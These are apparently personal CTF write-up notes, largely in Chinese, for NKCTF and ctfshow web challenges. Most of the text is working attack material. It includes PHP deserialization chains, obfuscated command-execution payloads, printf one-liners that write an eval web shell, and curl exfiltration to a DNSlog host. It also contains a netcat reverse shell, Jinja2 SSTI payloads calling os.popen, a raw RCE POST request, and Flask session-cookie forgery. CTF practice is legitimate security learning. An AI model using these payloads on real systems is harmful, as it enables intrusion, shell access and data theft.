$w->name = "welcome_to_NKCTF";
$h = new Happy();
$hh = new Hell0();
$hh->func = $h;
$w->arg = $hh;
$h->shell = "system";
$h->cmd = "more `dir`";
$sss = serialize($w);
unserialize($sss);
echo $sss;
?>
f1ag
echo Y2F0IGZsYWcucGhw|base64 -d|sh
echo Y2F0IGZsYWcucGhw|base64 -d|bash 相当于cat flag.php,base64
echo "0x63617420666C61672E706870" |xxd -r -p|bash
echo "0x63617420666C61672E706870" |xxd -r -p|sh 相当于cat flag.php,16进制
(printf "\154\163") 单纯输出ls
$(printf "\154\163") 执行ls命令
{printf,"\154\163"} 单纯输出ls(ubuntu测试成功,kali不成功)
${printf,"\154\163"} 即不执行命令,也不输出了(ubuntu测试成功,kali不成功)
(printf "\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76")>>shell.php 写shell(ubuntu kali都测试成功)
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}>>shell1.php 写shell(ubuntu测试成功,kali不成功)
复现学习:
过滤了 * 和 ? 还可以这样匹配
$a->arg->func->shell="system";
$a->arg->func->cmd="more /[e-h]1[0-b][e-h]";
[^b-z] 匹配的是 a
hard.php
$ [] () _! = . ;+ / 可用
自增链:
$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
变量++构造 最终得到$_POST[_]($_POST[__])
环境没有说过滤了哪些函数 如果环境可以phpinfo可以看一下被ban的函数
这里用readfile可以读取文件
shell_exec 配合DNSlog打
curl http://gm912i.ceye.io/`ls /`
easy.php
主要是第二层的绕过
POST /php/easy.php?a[]=1&b[]=2&e=114514.1s&NS[CTF.go=1 HTTP/1.1
Host: 8.130.85.214:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1480
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&cmd=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=readfile&__=f1ag
RCE大挑战
PHP的动态语言特性
1
过滤 ( .
echo `ls`;
用反引号代替system()
code=echo `$_POST[1]`;&1=cat /f*
2
/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/ 过滤了这些 自增RCE即可注意url编码
%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=system&__=cat /f1agaaa
3
/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/ 过滤了这些 自增RCE
4
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}
5
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}
要求更少了,但是phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串
$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
ctf_show=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=ls /
php特性:
php7支持 php5不支持
<?php
('phpinfo')();
?>
<?= "666"?> 等价于 <?php echo "666"?>
<?php echo `ls /`;?>
异或RCE构造脚本
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "\n";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
取反构造RCE
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)
get('ls /')
get('_POST')
(~%8c%86%8c%8b%9a%92)(~%93%8c)
CTFSHOW
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==
2
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
3
nc -e /bin/bash x.x.x.x port
nc -lvp 54321 连不上
{{().__class__}}
{{().__class__.__mro__.__getitem__(-1).__subclasses__()}}
<class 'os._wrap_close'>132
{{().__class__.__base__.__subclasses__()[395].__init__.__globals__['os'].popen('ls').read()}}
flag
${PATH:7:2}${PATH:54:1} ${PATH:15:1}*1ag
cat ${PATH:15:1}*1ag
http://ec14c78b-60cd-44aa-bd5a-1d06b8cbf70a.challenge.ctf.show/hello/%7B%7B().__class__.__base__.__subclasses__()[395].__init__.__globals__['os'].popen('cat%20$%7BPATH:15:1%7D*ag').read()%7D%7D
4
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
The render_template() function is a feature of Flask that renders a given template from the templates folder and passes some variables or arguments. It uses the Jinja2 template engine to generate HTML.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form method="POST" action="/login/">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Login</button>
</form>
<p>Don't have an account? <a href="/register/">Register here</a></p>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Register</title>
</head>
<body>
<h1>Register</h1>
<form method="POST" action="/register/">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Register</button>
</form>
<a href="/login/">Back to login< /a></p>
</body>
</html>
{'loggedin': True, 'role': 'user', 'username': '1'}
G:\app\flask_s>python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEifQ.ZCcX8g.JakFvhh3PbEwgtZFNW8zYcpjlTs"
{'loggedin': True, 'role': 'user', 'username': '1'}
{'loggedin': True, 'role': 'user', 'username': '1'}
G:\app\flask_s>python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCciGQ.liD0xcO2nmkW9teAQbxqPKVSSr4
view-source:http://8d30a2b3-85b3-4790-90f8-4def61c121ed.challenge.ctf.show//hello/?eval=().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(395).__init__.__globals__.__getitem__(%27os%27).popen(%27cat%20/flag_is_h3re%27).read()
LKHSADSFHLA;KHLK;FSDHLK;ASFD
flag_is_h3re
5
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace ctfshow;
class C{
const __REF_OFFSET_1 = 0x41;
const __REF_OFFSET_2 = 0x7b;
const __REF_OFFSET_3 = 0x5b;
const __REF_OFFSET_4 = 0x60;
const __REF_OFFSET_5 = 0x30;
const __REF_OFFSET_6 = 0x5f;
const __REF_SIZE__= 20;
const __REF_VAL_SIZE__= 50;
private $cursor=0;
private $cache;
private $ref_table=[];
function main(){
$flag = md5(file_get_contents("/flag"));
$this->define('ctfshow',self::__REF_VAL_SIZE__);
$this->define('flag',strlen($flag));
$this->neaten();
$this->fill('flag',$flag);
$this->fill('ctfshow',$_POST['data']);
if($this->read('ctfshow')===$this->read('flag')){
echo $flag;
}
}
private function fill($ref,$val){
rewind($this->cache);
fseek($this->cache, $this->ref_table[$ref]+23);
$arr = str_split($val);
foreach ($arr as $s) {
fwrite($this->cache, pack("C",ord($s)));
}
for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) {
fwrite($this->cache, pack("C","\x00"));
}
$this->cursor= ftell($this->cache);
}
public static function clear($var){
;
}
private function neaten(){
$this->ref_table['_clear_']=$this->cursor;
$arr = str_split("_clear_");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
$arr = str_split(__NAMESPACE__."\C::clear");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
$this->write(0x36d,'Q');
$this->write(0x30,'C');
for ($i=1; $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
}
private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
call_user_func($f,$p);
}
private function define($ref,$size){
$this->checkRef($ref);
$r = str_split($ref);
$this->ref_table[$ref]=$this->cursor;
foreach ($r as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
fwrite($this->cache,pack("v",$size));
fwrite($this->cache,pack("C",0x31));
$this->cursor= ftell($this->cache);
for ($i=0; $i < $size; $i++) {
$this->write("\x00",'a');
}
}
private function read($ref){
if(!array_key_exists($ref,$this->ref_table)){
throw new \Exception("Ref not exists!", 1);
}
if($this->ref_table[$ref]!=0){
$this->seekCursor($this->ref_table[$ref]);
}else{
rewind($this->cache);
}
$cref = fread($this->cache, 20);
$csize = unpack("v", fread($this->cache, 2));
$usize = fread($this->cache, 1);
$val = fread($this->cache, $csize[1]);
return $this->truncation($val);
}
private function write($val,$fmt){
$this->seek();
fwrite($this->cache,pack($fmt,$val));
$this->cursor= ftell($this->cache);
}
private function seek(){
rewind($this->cache);
fseek($this->cache, $this->cursor);
}
private function truncation($data){
return implode(array_filter(str_split($data),function($var){
return $var!=="\x00";
}));
}
private function seekCursor($cursor){
rewind($this->cache);
fseek($this->cache, $cursor);
}
private function checkRef($ref){
$r = str_split($ref);
if(sizeof($r)>self::__REF_SIZE__){
throw new \Exception("Refenerce size too long!", 1);
}
if(is_numeric($r[0]) || $this->checkByte($r[0])){
throw new \Exception("Ref invalid!", 1);
}
array_shift($r);
foreach ($r as $s) {
if($this->checkByte($s)){
throw new \Exception("Ref invalid!", 1);
}
}
}
private function checkByte($check){
if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
return true;
}
if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4
&& ord($check) !== self::__REF_OFFSET_6){
return true;
}
return false;
}
function __construct(){
$this->cache=fopen("php://memory","wb");
}
public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}
}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;
$c->main();
6
<?php
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
public $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$a = new w_wuw_w();
$b = new gBoBg();
$c = new cycycycy();
$d = new EeE();
$b->file = "flag";
$b->coos = $a;
$a->aaa = $b;
$a->file = "/etc/passwd";
$re = serialize($a);
echo $re;
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
小知识
<?php
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|{|\}|\(|\)|\&[^\d]|@|\|\\$|\[|\]|{|}|\(|\)|-|<|>/i", "c|\at")) {
echo("forbid ~");}
else {
echo "666";
}
这里边 |\\|\\\\| 匹配的是|\
<?php
$a = "\\";
echo $a;
if(preg_match("/\\\\/i",$a))
{
echo "success";
}
<?php
$a = "|\\";
echo $a;
if(preg_match("/\\|\\\\/i",$a))
{
echo "success";
}
